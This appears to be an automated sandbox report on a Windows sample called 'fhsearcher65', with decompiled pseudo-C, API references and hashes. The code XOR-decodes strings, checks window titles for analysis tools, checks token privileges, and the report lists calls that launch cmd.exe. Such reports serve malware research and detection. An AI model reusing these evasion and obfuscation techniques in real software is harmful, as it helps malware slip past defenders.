0x00409fb4
0x00409f94
0x00409c98
0x00409c98
0x00409c9a
0x00409c9f
0x00409ca6
0x00409cb2
0x00409cb9
0x00409cbe
0x00409cc1
0x00409cc8
0x00409ccd
0x00409cdb
0x00409ce1
0x00409cee
0x00409cf3
0x00409cf3
0x00409cc8
0x00409cf6
0x00409cfd
0x00409cff
0x00409d06
0x00409d0d
0x00409d14
0x00409d1b
0x00409d24
0x00409d24
0x00409d29
0x00409d2e
0x00409d38
0x00409d42
0x00409d4c
0x00409d4c
0x00409d50
0x00409d50
0x00409d52
0x00409d53
0x00409d5f
0x00409d65
0x00409d6a
0x00409d70
0x00409d9b
0x00409d9c
0x00409d9d
0x00409da0
0x00409da5
0x00409dab
0x00409dae
0x00000000
0x00409db0
0x00409db0
0x00409db6
0x00409db7
0x00409db9
0x00409dbf
0x00409dd5
0x00409dd5
0x00409dd7
0x00409ddc
0x00000000
0x00409dc1
0x00409dc1
0x00409dc4
0x00409dcc
0x00409dcf
0x00000000
0x00000000
0x00000000
0x00000000
0x00409dcf
0x00409dbf
0x00409d72
0x00409d72
0x00409d79
0x00409d7f
0x00409d82
0x00409d8a
0x00409d8f
0x00000000
0x00409d8f
0x00409d70
0x00409b82
0x00409b88
0x00409bb2
0x00409bb7
0x00409bba
0x00409bbc
0x00409bc1
0x00409bcc
0x00409bcf
0x00409bd5
0x00409bd8
0x00409be0
0x00409be8
0x00409bea
0x00000000
0x00409b8a
0x00409b8a
0x00409b8a
0x00409b8d
0x00409b8f
0x0040a208
0x0040a208
0x0040a20d
0x0040a214
0x0040a219
0x0040a21c
0x0040a23b
0x0040a246
0x0040a24d
0x0040a252
0x0040a252
0x0040a257
0x0040a257
0x0040a25d
0x0040a269
0x0040a26e
0x00000000
0x00409b95
0x00409b96
0x00409b9b
0x00409ba0
0x0040a273
0x0040a273
0x0040a278
0x0040a279
0x0040a27a
0x0040a27b
0x0040a27c
0x0040a27d
0x0040a27e
0x0040a27f
0x0040a280
0x0040a281
0x0040a286
0x0040a28d
0x0040a296
0x0040a297
0x0040a2a0
0x0040a2a2
0x0040a2a7
0x0040a2ad
0x0040a2b4
0x0040a2bc
0x0040a2c3
0x0040a2c5
0x0040a2cd
0x0040a2d2
0x0040a2d8
0x0040a2e2
0x0040a2e7
0x0040a2c3
0x0040a2f2
0x0040a2f4
0x0040a2fd
0x00409ba6
0x00409ba6
0x00409ba9
0x00409bac
0x00000000
0x00409bac
0x00409ba0
0x00409b8f
0x00409b88
0x00409b80

APIs

Part of subcall function 00418C26: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,004094EC,00000000,D71F2CEC), ref: 00418C39
Part of subcall function 00418C26: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00418C6A

__Init_thread_footer.LIBCMT ref: 00409CEE
__Init_thread_footer.LIBCMT ref: 00409E25
__Init_thread_footer.LIBCMT ref: 00409F07
Sleep.KERNEL32(?,00450F4C,00450F4D,?,?,?), ref: 0040A0D9
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0040A19D
Concurrency::cancel_current_task.LIBCPMT ref: 0040A203
Concurrency::cancel_current_task.LIBCPMT ref: 0040A208

Part of subcall function 004018B0: ___std_exception_copy.LIBVCRUNTIME ref: 004018EE

Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32(D71F2CEC), ref: 004054EC
Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32 ref: 00405508
Part of subcall function 004054C0: ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4

Part of subcall function 004094B0: CreateThread.KERNEL32 ref: 004095B0
Part of subcall function 004094B0: Sleep.KERNEL32(00000BB8), ref: 004095C1

__Init_thread_footer.LIBCMT ref: 0040A2E2

Strings

ZK]Z, xrefs: 0040A2C5
D@, xrefs: 0040A193
MFE., xrefs: 00409DE6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$Concurrency::cancel_current_taskCurrentProcessSleepTime$CreateExecuteFileIos_base_dtorShellSystemThreadUnothrow_t@std@@@___std_exception_copy__ehfuncinfo$??2@std::ios_base::_
String ID: D@$MFE.$ZK]Z
API String ID: 3757312541-2629744079
Opcode ID: 9b0002d8ed6e90ef46e7779d61aca9ae337316a9ac0b442971b8e9277f67f0ac
Instruction ID: de4fe94393d9fb87d9a43703e9d5174a8cf7f1bcbbe7b77bdfaafcae578a122d
Opcode Fuzzy Hash: 9b0002d8ed6e90ef46e7779d61aca9ae337316a9ac0b442971b8e9277f67f0ac
Instruction Fuzzy Hash: EF3203719002488BDB24DF64DC45BEEB7B1AB05308F1441BEE8057B3D2D779AE89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405F40 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 389
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00405F40(void* __ebx, void* __edi) {
				long _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				void _v88;
				struct _SID_IDENTIFIER_AUTHORITY _v96;
				long _v100;
				void* _v104;
				void* _v108;
				char _v276;
				void* _v280;
				int _v284;
				char _v288;
				char _v292;
				char _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				char _v305;
				long _v312;
				long _v316;
				long _v332;
				long* _v336;
				long _v340;
				long _v356;
				signed int _v380;
				short _v460;
				long _v464;
				void* _v472;
				void* __esi;
				void* __ebp;
				signed int _t98;
				signed int _t99;
				intOrPtr _t102;
				signed char _t103;
				signed char _t104;
				void* _t106;
				int _t107;
				signed char _t110;
				signed char _t111;
				void* _t113;
				intOrPtr _t114;
				signed char _t115;
				signed char _t116;
				void* _t118;
				struct HWND__* _t119;
				intOrPtr _t122;
				void* _t127;
				long _t128;
				signed int _t133;
				signed int _t137;
				signed int _t142;
				signed int _t146;
				int _t147;
				long _t152;
				intOrPtr _t156;
				signed char _t157;
				signed char _t158;
				void* _t163;
				void* _t169;
				void* _t191;
				signed int _t193;
				signed char* _t194;
				signed char* _t201;
				signed char* _t204;
				intOrPtr* _t208;
				long _t211;
				long _t216;
				signed char* _t217;
				long* _t222;
				signed char* _t224;
				void* _t225;
				signed char* _t226;
				signed char* _t227;
				intOrPtr _t229;
				void* _t230;
				void* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				void* _t236;
				long* _t237;
				long* _t238;
				long* _t239;
				long* _t240;
				long* _t241;
				long* _t242;
				signed int _t243;

				_t190 = __ebx;
				_push(0xffffffff);
				_push(E0042CAB7);
				_push( *[fs:0x0]);
				_t236 = _t235 - 0x154;
				_t98 =  *0x43d054; // 0xd71f2cec
				_t99 = _t98 ^ _t233;
				_v20 = _t99;
				_push(__ebx);
				_push(__edi);
				_push(_t99);
				 *[fs:0x0] =  &_v16;
				_v284 = 0;
				_v288 = 0x455d4f5a;
				_v284 = 0x2e5c4943;
				_t229 =  *((intOrPtr*)( *[fs:0x2c]));
				_t102 =  *0x450f14; // 0x80000013
				if(_t102 >  *((intOrPtr*)(_t229 + 4))) {
					E0040F2F9(_t102, 0x450f14);
					_t236 = _t236 + 4;
					_t252 =  *0x450f14 - 0xffffffff;
					if( *0x450f14 == 0xffffffff) {
						_t7 =  &_v288; // 0x455d4f5a
						_t8 =  &_v284; // 0x2e5c4943
						 *0x450d60 =  *_t7;
						 *0x450d64 =  *_t8;
						E0040F60B( *_t8, _t252, E0042D3E0);
						E0040F2AF(0x450f14);
						_t236 = _t236 + 8;
					}
				}
				_t103 =  *0x450d67; // 0x0
				if(_t103 != 0) {
					 *0x450d60 =  *0x450d60 ^ 0x0000002e;
					 *0x450d61 =  *0x450d61 ^ 0x0000002e;
					 *0x450d62 =  *0x450d62 ^ 0x0000002e;
					 *0x450d63 =  *0x450d63 ^ 0x0000002e;
					 *0x450d64 =  *0x450d64 ^ 0x0000002e;
					 *0x450d65 =  *0x450d65 ^ 0x0000002e;
					 *0x450d66 =  *0x450d66 ^ 0x0000002e;
					 *0x450d67 = _t103 ^ 0x0000002e;
				}
				_t237 = _t236 - 0x18;
				_t194 = 0x450d60;
				_t222 = _t237;
				_t9 =  &(_t194[1]); // 0x450d61
				_t224 = _t9;
				 *_t222 = 0;
				_t222[4] = 0;
				_t222[5] = 0xf;
				asm("o16 nop [eax+eax]");
				do {
					_t104 =  *_t194;
					_t194 =  &(_t194[1]);
				} while (_t104 != 0);
				E004026B0(_t190, _t222, 0x450d60, _t194 - _t224); // executed
				_t106 = E00405350(_t190); // executed
				_t238 =  &(_t237[6]);
				if(_t106 != 0) {
					L56:
					_t107 = 1;
					goto L57;
				} else {
					_t109 =  *0x451000;
					_v288 = 0x455d4f7a;
					_v284 = 0x2e5c4943;
					if( *0x451000 >  *((intOrPtr*)(_t229 + 4))) {
						E0040F2F9(_t109, 0x451000);
						_t238 =  &(_t238[1]);
						_t258 =  *0x451000 - 0xffffffff;
						if( *0x451000 == 0xffffffff) {
							_t15 =  &_v288; // 0x455d4f7a
							_t16 =  &_v284; // 0x2e5c4943
							 *0x450fcc =  *_t15;
							 *0x450fd0 =  *_t16;
							E0040F60B( *_t16, _t258, E0042D3D0);
							E0040F2AF(0x451000);
							_t238 =  &(_t238[2]);
						}
					}
					_t110 =  *0x450fd3; // 0x0
					if(_t110 != 0) {
						 *0x450fcc =  *0x450fcc ^ 0x0000002e;
						 *0x450fcd =  *0x450fcd ^ 0x0000002e;
						 *0x450fce =  *0x450fce ^ 0x0000002e;
						 *0x450fcf =  *0x450fcf ^ 0x0000002e;
						 *0x450fd0 =  *0x450fd0 ^ 0x0000002e;
						 *0x450fd1 =  *0x450fd1 ^ 0x0000002e;
						 *0x450fd2 =  *0x450fd2 ^ 0x0000002e;
						 *0x450fd3 = _t110 ^ 0x0000002e;
					}
					_t239 = _t238 - 0x18;
					_t201 = 0x450fcc;
					_t222 = _t239;
					_t17 =  &(_t201[1]); // 0x450fcd
					_t226 = _t17;
					 *_t222 = 0;
					_t222[4] = 0;
					_t222[5] = 0xf;
					do {
						_t111 =  *_t201;
						_t201 =  &(_t201[1]);
					} while (_t111 != 0);
					_t203 = _t222;
					E004026B0(_t190, _t222, 0x450fcc, _t201 - _t226); // executed
					_t113 = E00405350(_t190); // executed
					_t240 =  &(_t239[6]);
					if(_t113 != 0) {
						goto L56;
					} else {
						_t114 =  *0x450fdc; // 0x80000015
						_v288 = 0x4b5c4759;
						_v284 = 0x5c4f465d;
						_v280 = 0x2e45;
						if(_t114 >  *((intOrPtr*)(_t229 + 4))) {
							E0040F2F9(_t114, 0x450fdc);
							_t240 =  &(_t240[1]);
							_t264 =  *0x450fdc - 0xffffffff;
							if( *0x450fdc == 0xffffffff) {
								asm("movq xmm0, [ebp-0x11c]");
								asm("movq [0x450dac], xmm0");
								 *0x450db4 = _v280;
								E0040F60B(_t203, _t264, E0042D3B0);
								E0040F2AF(0x450fdc);
								_t240 =  &(_t240[2]);
							}
						}
						_t115 =  *0x450db5; // 0x0
						if(_t115 != 0) {
							 *0x450dac =  *0x450dac ^ 0x0000002e;
							 *0x450dad =  *0x450dad ^ 0x0000002e;
							 *0x450dae =  *0x450dae ^ 0x0000002e;
							 *0x450daf =  *0x450daf ^ 0x0000002e;
							 *0x450db0 =  *0x450db0 ^ 0x0000002e;
							 *0x450db1 =  *0x450db1 ^ 0x0000002e;
							 *0x450db2 =  *0x450db2 ^ 0x0000002e;
							 *0x450db3 =  *0x450db3 ^ 0x0000002e;
							 *0x450db4 =  *0x450db4 ^ 0x0000002e;
							 *0x450db5 = _t115 ^ 0x0000002e;
						}
						_t241 = _t240 - 0x18;
						_t204 = 0x450dac;
						_t222 = _t241;
						_t25 =  &(_t204[1]); // 0x450dad
						_t227 = _t25;
						 *_t222 = 0;
						_t222[4] = 0;
						_t222[5] = 0xf;
						do {
							_t116 =  *_t204;
							_t204 =  &(_t204[1]);
						} while (_t116 != 0);
						E004026B0(_t190, _t222, 0x450dac, _t204 - _t227); // executed
						_t118 = E00405350(_t190); // executed
						_t242 =  &(_t241[6]);
						if(_t118 != 0) {
							goto L56;
						} else {
							_t119 = GetForegroundWindow(); // executed
							if(_t119 == 0) {
								L55:
								_t107 = 0;
								goto L57;
							} else {
								GetWindowTextA(_t119,  &_v276, 0x100);
								_t121 =  *0x450ffc;
								_v304 = 0x4d415c7e;
								_v300 = 0xe5d5d4b;
								_v296 = 0x454d4f66;
								_v292 = 0x5c4b;
								if( *0x450ffc >  *((intOrPtr*)(_t229 + 4))) {
									E0040F2F9(_t121, 0x450ffc);
									_t242 =  &(_t242[1]);
									_t271 =  *0x450ffc - 0xffffffff;
									if( *0x450ffc == 0xffffffff) {
										_t34 =  &_v296; // 0x454d4f66
										asm("movq xmm0, [ebp-0x12c]");
										 *0x450fa8 =  *_t34;
										_t35 =  &_v292; // 0x5c4b
										asm("movq [0x450fa0], xmm0");
										 *0x450fac =  *_t35;
										 *0x450fae = 0x2e;
										E0040F60B( &_v276, _t271, E0042D380);
										E0040F2AF(0x450ffc);
										_t242 =  &(_t242[2]);
									}
								}
								if( *0x450fae != 0) {
									_t169 = 0;
									do {
										 *(_t169 + 0x450fa0) =  *(_t169 + 0x450fa0) ^ 0x0000002e;
										_t169 = _t169 + 1;
									} while (_t169 < 0xf);
								}
								_t208 = 0x450fa0;
								_v356 = 0;
								_v340 = 0;
								_v336 = 0xf;
								_v356 = 0;
								_t42 = _t208 + 1; // 0x450fa1
								_t222 = _t42;
								do {
									_t122 =  *_t208;
									_t208 = _t208 + 1;
								} while (_t122 != 0);
								E004026B0(0x2e,  &_v356, 0x450fa0, _t208 - _t222);
								_v8 = 0;
								_t193 = 1;
								_v284 = 1;
								_t125 =  >=  ? _v356 :  &_v356;
								_t127 = E00410590( &_v276,  >=  ? _v356 :  &_v356);
								_t243 =  &(_t242[2]);
								if(_t127 != 0) {
									L42:
									_v305 = 1;
								} else {
									_t156 =  *0x450f9c; // 0x80000017
									_v300 = 0x4b5c4779;
									_v296 = 0x5c4f465d;
									_v292 = 0x2e45;
									if(_t156 >  *((intOrPtr*)(_t229 + 4))) {
										E0040F2F9(_t156, 0x450f9c);
										_t243 = _t243 + 4;
										_t279 =  *0x450f9c - 0xffffffff;
										if( *0x450f9c == 0xffffffff) {
											asm("movq xmm0, [ebp-0x128]");
											_t54 =  &_v292; // 0x2e45
											asm("movq [0x451018], xmm0");
											 *0x451020 =  *_t54;
											E0040F60B( &_v356, _t279, E0042D360);
											E0040F2AF(0x450f9c);
											_t243 = _t243 + 8;
										}
									}
									_t157 =  *0x451021;
									if(_t157 != 0) {
										 *0x451018 =  *0x451018 ^ 0x0000002e;
										 *0x451019 =  *0x451019 ^ 0x0000002e;
										 *0x45101a =  *0x45101a ^ 0x0000002e;
										 *0x45101b =  *0x45101b ^ 0x0000002e;
										 *0x45101c =  *0x45101c ^ 0x0000002e;
										 *0x45101d =  *0x45101d ^ 0x0000002e;
										 *0x45101e =  *0x45101e ^ 0x0000002e;
										 *0x45101f =  *0x45101f ^ 0x0000002e;
										 *0x451020 =  *0x451020 ^ 0x0000002e;
										 *0x451021 = _t157 ^ 0x0000002e;
									}
									_t217 = 0x451018;
									_v332 = 0;
									_v316 = 0;
									_v312 = 0xf;
									_t58 =  &(_t217[1]); // 0x451019
									_t222 = _t58;
									do {
										_t158 =  *_t217;
										_t217 =  &(_t217[1]);
									} while (_t158 != 0);
									E004026B0(_t193,  &_v332, 0x451018, _t217 - _t222);
									_t193 = 3;
									_t161 =  >=  ? _v332 :  &_v332;
									_t163 = E00410590( &_v276,  >=  ? _v332 :  &_v332);
									_t243 = _t243 + 8;
									_v305 = 0;
									if(_t163 != 0) {
										goto L42;
									}
								}
								if((_t193 & 0x00000002) == 0) {
									L49:
									if((_t193 & 0x00000001) == 0) {
										L54:
										if(_v305 != 0) {
											goto L56;
										} else {
											goto L55;
										}
										L57:
										 *[fs:0x0] = _v16;
										_pop(_t225);
										_pop(_t230);
										_pop(_t191);
										return E0040EF6F(_t107, _t191, _v20 ^ _t233, _t222, _t225, _t230);
									} else {
										_t222 = _v336;
										if(_t222 < 0x10) {
											goto L54;
										} else {
											_t211 = _v356;
											_t222 =  &(_t222[0]);
											_t128 = _t211;
											if(_t222 < 0x1000) {
												L53:
												_push(_t222);
												E0040F1B0(_t211);
												goto L54;
											} else {
												_t211 =  *(_t211 - 4);
												_t222 =  &(_t222[8]);
												if(_t128 - _t211 + 0xfffffffc > 0x1f) {
													goto L58;
												} else {
													goto L53;
												}
											}
										}
									}
								} else {
									_t222 = _v312;
									_t193 = _t193 & 0xfffffffd;
									if(_t222 < 0x10) {
										L48:
										_v316 = 0;
										_v312 = 0xf;
										_v332 = 0;
										goto L49;
									} else {
										_t216 = _v332;
										_t222 =  &(_t222[0]);
										_t152 = _t216;
										if(_t222 < 0x1000) {
											L47:
											_push(_t222);
											E0040F1B0(_t216);
											_t243 = _t243 + 8;
											goto L48;
										} else {
											_t216 =  *(_t216 - 4);
											_t222 =  &(_t222[8]);
											if(_t152 - _t216 + 0xfffffffc > 0x1f) {
												L58:
												E004138D7(_t193, _t222, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t233);
												_t234 = _t243;
												_t133 =  *0x43d054; // 0xd71f2cec
												_v380 = _t133 ^ _t234;
												_v464 = 0;
												_v460 = 0x500;
												_t137 = OpenProcessToken(GetCurrentProcess(), 8,  &_v472);
												__eflags = _t137;
												if(_t137 == 0) {
													L62:
													__eflags = _v12 ^ _t234;
													return E0040EF6F(0, _t193, _v12 ^ _t234, _t222, _t227, _t229);
												} else {
													_t142 = GetTokenInformation(_v104, 1,  &_v88, 0x4c,  &_v100); // executed
													_push(_v104);
													__eflags = _t142;
													if(_t142 != 0) {
														CloseHandle();
														_t146 = AllocateAndInitializeSid( &_v96, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v108);
														__eflags = _t146;
														if(_t146 == 0) {
															goto L62;
														} else {
															_t147 = EqualSid(_v88, _v108);
															FreeSid(_v108);
															__eflags = _v12 ^ _t234;
															_t232 = _t229;
															return E0040EF6F(_t147, _t193, _v12 ^ _t234, _t222, _t227, _t232);
														}
													} else {
														CloseHandle();
														goto L62;
													}
												}
											} else {
												goto L47;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00405f40
0x00405f43
0x00405f45
0x00405f50
0x00405f51
0x00405f57
0x00405f5c
0x00405f5e
0x00405f61
0x00405f63
0x00405f64
0x00405f68
0x00405f6e
0x00405f7e
0x00405f88
0x00405f92
0x00405f94
0x00405f9f
0x00405fa6
0x00405fab
0x00405fae
0x00405fb5
0x00405fb7
0x00405fbd
0x00405fc8
0x00405fcd
0x00405fd3
0x00405fe0
0x00405fe5
0x00405fe5
0x00405fb5
0x00405fe8
0x00405fef
0x00405ff1
0x00405ff8
0x00405fff
0x00406006
0x0040600d
0x00406014
0x0040601b
0x00406024
0x00406024
0x00406029
0x0040602c
0x00406031
0x00406033
0x00406033
0x00406036
0x0040603c
0x00406043
0x0040604a
0x00406050
0x00406050
0x00406052
0x00406053
0x00406061
0x00406066
0x0040606b
0x00406070
0x004065ae
0x004065ae
0x00000000
0x00406076
0x00406076
0x0040607b
0x00406085
0x00406095
0x0040609c
0x004060a1
0x004060a4
0x004060ab
0x004060ad
0x004060b3
0x004060be
0x004060c3
0x004060c9
0x004060d6
0x004060db
0x004060db
0x004060ab
0x004060de
0x004060e5
0x004060e7
0x004060ee
0x004060f5
0x004060fc
0x00406103
0x0040610a
0x00406111
0x0040611a
0x0040611a
0x0040611f
0x00406122
0x00406127
0x00406129
0x00406129
0x0040612c
0x00406132
0x00406139
0x00406140
0x00406140
0x00406142
0x00406143
0x0040614f
0x00406151
0x00406156
0x0040615b
0x00406160
0x00000000
0x00406166
0x00406166
0x0040616b
0x00406175
0x0040617f
0x0040618e
0x00406195
0x0040619a
0x0040619d
0x004061a4
0x004061a6
0x004061ba
0x004061c2
0x004061c8
0x004061d5
0x004061da
0x004061da
0x004061a4
0x004061dd
0x004061e4
0x004061e6
0x004061ed
0x004061f4
0x004061fb
0x00406202
0x00406209
0x00406210
0x00406217
0x0040621e
0x00406227
0x00406227
0x0040622c
0x0040622f
0x00406234
0x00406236
0x00406236
0x00406239
0x0040623f
0x00406246
0x00406250
0x00406250
0x00406252
0x00406253
0x00406261
0x00406266
0x0040626b
0x00406270
0x00000000
0x00406276
0x00406276
0x0040627e
0x004065aa
0x004065aa
0x00000000
0x00406284
0x00406291
0x00406297
0x0040629e
0x004062a8
0x004062b2
0x004062bc
0x004062cb
0x004062d2
0x004062d7
0x004062da
0x004062e1
0x004062e3
0x004062e9
0x004062f1
0x004062f6
0x00406302
0x0040630a
0x00406310
0x00406316
0x00406323
0x00406328
0x00406328
0x004062e1
0x00406332
0x00406334
0x00406336
0x00406336
0x0040633c
0x0040633d
0x00406336
0x00406342
0x00406347
0x00406351
0x0040635b
0x00406365
0x0040636c
0x0040636c
0x00406370
0x00406370
0x00406372
0x00406373
0x00406385
0x0040638a
0x0040639e
0x004063a3
0x004063a9
0x004063b8
0x004063bd
0x004063c2
0x00406502
0x00406502
0x004063c8
0x004063c8
0x004063cd
0x004063d7
0x004063e1
0x004063f0
0x004063f7
0x004063fc
0x004063ff
0x00406406
0x00406408
0x00406410
0x0040641c
0x00406424
0x0040642a
0x00406437
0x0040643c
0x0040643c
0x00406406
0x0040643f
0x00406446
0x00406448
0x0040644f
0x00406456
0x0040645d
0x00406464
0x0040646b
0x00406472
0x00406479
0x00406480
0x00406489
0x00406489
0x0040648e
0x00406493
0x0040649d
0x004064a7
0x004064b1
0x004064b1
0x004064b4
0x004064b4
0x004064b6
0x004064b7
0x004064c9
0x004064db
0x004064e0
0x004064ef
0x004064f4
0x004064f7
0x00406500
0x00000000
0x00000000
0x00406500
0x0040650c
0x00406566
0x00406569
0x004065a1
0x004065a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b0
0x004065b3
0x004065bb
0x004065bc
0x004065bd
0x004065cb
0x0040656b
0x0040656b
0x00406574
0x00000000
0x00406576
0x00406576
0x0040657c
0x0040657d
0x00406585
0x00406597
0x00406597
0x00406599
0x00000000
0x00406587
0x00406587
0x0040658a
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406585
0x00406574
0x0040650e
0x0040650e
0x00406514
0x0040651a
0x0040654b
0x0040654b
0x00406555
0x0040655f
0x00000000
0x0040651c
0x0040651c
0x00406522
0x00406523
0x0040652b
0x00406541
0x00406541
0x00406543
0x00406548
0x00000000
0x0040652d
0x0040652d
0x00406530
0x0040653b
0x004065cc
0x004065cc
0x004065d1
0x004065d2
0x004065d3
0x004065d4
0x004065d5
0x004065d6
0x004065d7
0x004065d8
0x004065d9
0x004065da
0x004065db
0x004065dc
0x004065dd
0x004065de
0x004065df
0x004065e0
0x004065e1
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x0040660a
0x00406610
0x00406612
0x00406636
0x0040663b
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662c
0x0040662e
0x00406646
0x00406666
0x0040666c
0x0040666e
0x00000000
0x00406670
0x00406677
0x00406682
0x0040668d
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e
0x00000000
0x00000000
0x00000000
0x0040653b
0x0040652b
0x0040651a
0x0040650c
0x0040627e
0x00406270
0x00406160

APIs

__Init_thread_footer.LIBCMT ref: 00405FE0

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

__Init_thread_footer.LIBCMT ref: 004061D5
GetForegroundWindow.USER32 ref: 00406276
GetWindowTextA.USER32 ref: 00406291
__Init_thread_footer.LIBCMT ref: 00406323
__Init_thread_footer.LIBCMT ref: 004060D6

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 00406437

Strings

yG\K, xrefs: 004063CD
~\AM, xrefs: 0040629E
E., xrefs: 0040617F
fOMEK\YG\K]FO\E., xrefs: 004062E3

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$EnterLeaveWindow$ConditionForegroundTextVariableWake
String ID: E.$fOMEK\YG\K]FO\E.$yG\K$~\AM
API String ID: 1590647277-3754284071
Opcode ID: d303c728a87c01ef878eb68317dd30aa6e30de1ea29b7c0f29f4dcb8adc4f9fc
Instruction ID: 28545df5c32e19030b6c1821534954c7214ee65529260240f5629defe3e0def2
Opcode Fuzzy Hash: d303c728a87c01ef878eb68317dd30aa6e30de1ea29b7c0f29f4dcb8adc4f9fc
Instruction Fuzzy Hash: 69F1D4799103848ADB35DF24EC097EA7B70AB05319F1441FED8452A2D3D7B99A88CB8D

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00402BF0(void* __ebx, intOrPtr* __ecx, void** __edx) {
				signed int _v8;
				long _v12;
				char _v16;
				void* __edi;
				void* __esi;
				signed int _t31;
				long _t45;
				void* _t49;
				signed int _t60;
				signed int _t63;
				intOrPtr* _t64;
				signed int _t71;
				char _t72;
				void* _t77;
				long _t79;
				void* _t80;
				signed int _t81;
				void* _t82;
				signed int _t84;

				_t76 = __edx;
				_t64 = __ecx;
				_t62 = __ebx;
				_t31 =  *0x43d054; // 0xd71f2cec
				_v8 = _t31 ^ _t84;
				_t79 = __edx[2];
				if(_t79 == 0) {
					L8:
					_t16 =  &_v8; // 0x403426
					return E0040EF6F(1, _t62,  *_t16 ^ _t84, _t76, _t79, _t80);
				} else {
					_t81 = __edx[3];
					if((_t81 & 0x02000000) == 0) {
						_t71 =  *(0x439848 + ((_t81 >> 0x1f) + ((_t81 >> 0x0000001e & 0x00000001) + (_t81 >> 0x0000001d & 0x00000001) * 2) * 2) * 4);
						_t80 = _t81 & 0x04000000;
						_t44 =  ==  ? _t71 : _t71 | 0x00000200;
						_t45 = VirtualProtect( *__edx, _t79,  ==  ? _t71 : _t71 | 0x00000200,  &_v12); // executed
						if(_t45 != 0) {
							goto L8;
						} else {
							FormatMessageA(0x1300, 0, GetLastError(), 0x400,  &_v16, _t45, _t45);
							_t72 = _v16;
							_t77 = _t72 + 1;
							do {
								_t49 =  *_t72;
								_t72 = _t72 + 1;
							} while (_t49 != 0);
							_t82 = LocalAlloc(0x40, _t72 - _t77 + 0x1f);
							E00402B20(_t82, "%s: %s", "Error protecting memory page");
							OutputDebugStringA(_t82);
							LocalFree(_t82);
							LocalFree(_v16);
							_t30 =  &_v8; // 0x403426
							return E0040EF6F(0, __ebx,  *_t30 ^ _t84, _t77, _t79, LocalFree, _v16);
						}
					} else {
						_t80 =  *__edx;
						if(_t80 == __edx[1]) {
							_push(__ebx);
							if(__edx[4] != 0) {
								L6:
								 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x20))))(_t80, _t79, 0x4000,  *((intOrPtr*)(_t64 + 0x34))); // executed
							} else {
								_t63 =  *(__ecx + 0x3c);
								if( *((intOrPtr*)( *__ecx + 0x38)) == _t63) {
									goto L6;
								} else {
									_t60 = _t79;
									_t76 = _t60 % _t63;
									if(_t60 % _t63 == 0) {
										goto L6;
									}
								}
							}
							_pop(_t62);
						}
						goto L8;
					}
				}
			}

0x00402bf0
0x00402bf0
0x00402bf0
0x00402bf6
0x00402bfd
0x00402c02
0x00402c07
0x00402c4a
0x00402c50
0x00402c5d
0x00402c09
0x00402c09
0x00402c12
0x00402c79
0x00402c8b
0x00402c91
0x00402c98
0x00402ca0
0x00000000
0x00402ca2
0x00402cbb
0x00402cc1
0x00402cc4
0x00402cc7
0x00402cc7
0x00402cc9
0x00402cca
0x00402cdf
0x00402cec
0x00402cf5
0x00402d02
0x00402d07
0x00402d09
0x00402d1a
0x00402d1a
0x00402c14
0x00402c14
0x00402c19
0x00402c1f
0x00402c20
0x00402c36
0x00402c43
0x00402c22
0x00402c24
0x00402c2a
0x00000000
0x00402c2c
0x00402c2e
0x00402c30
0x00402c34
0x00000000
0x00000000
0x00402c34
0x00402c2a
0x00402c48
0x00402c48
0x00000000
0x00402c19
0x00402c12

APIs

VirtualProtect.KERNEL32(?,?,?,?,00000000,?,?,?,00403426), ref: 00402C98
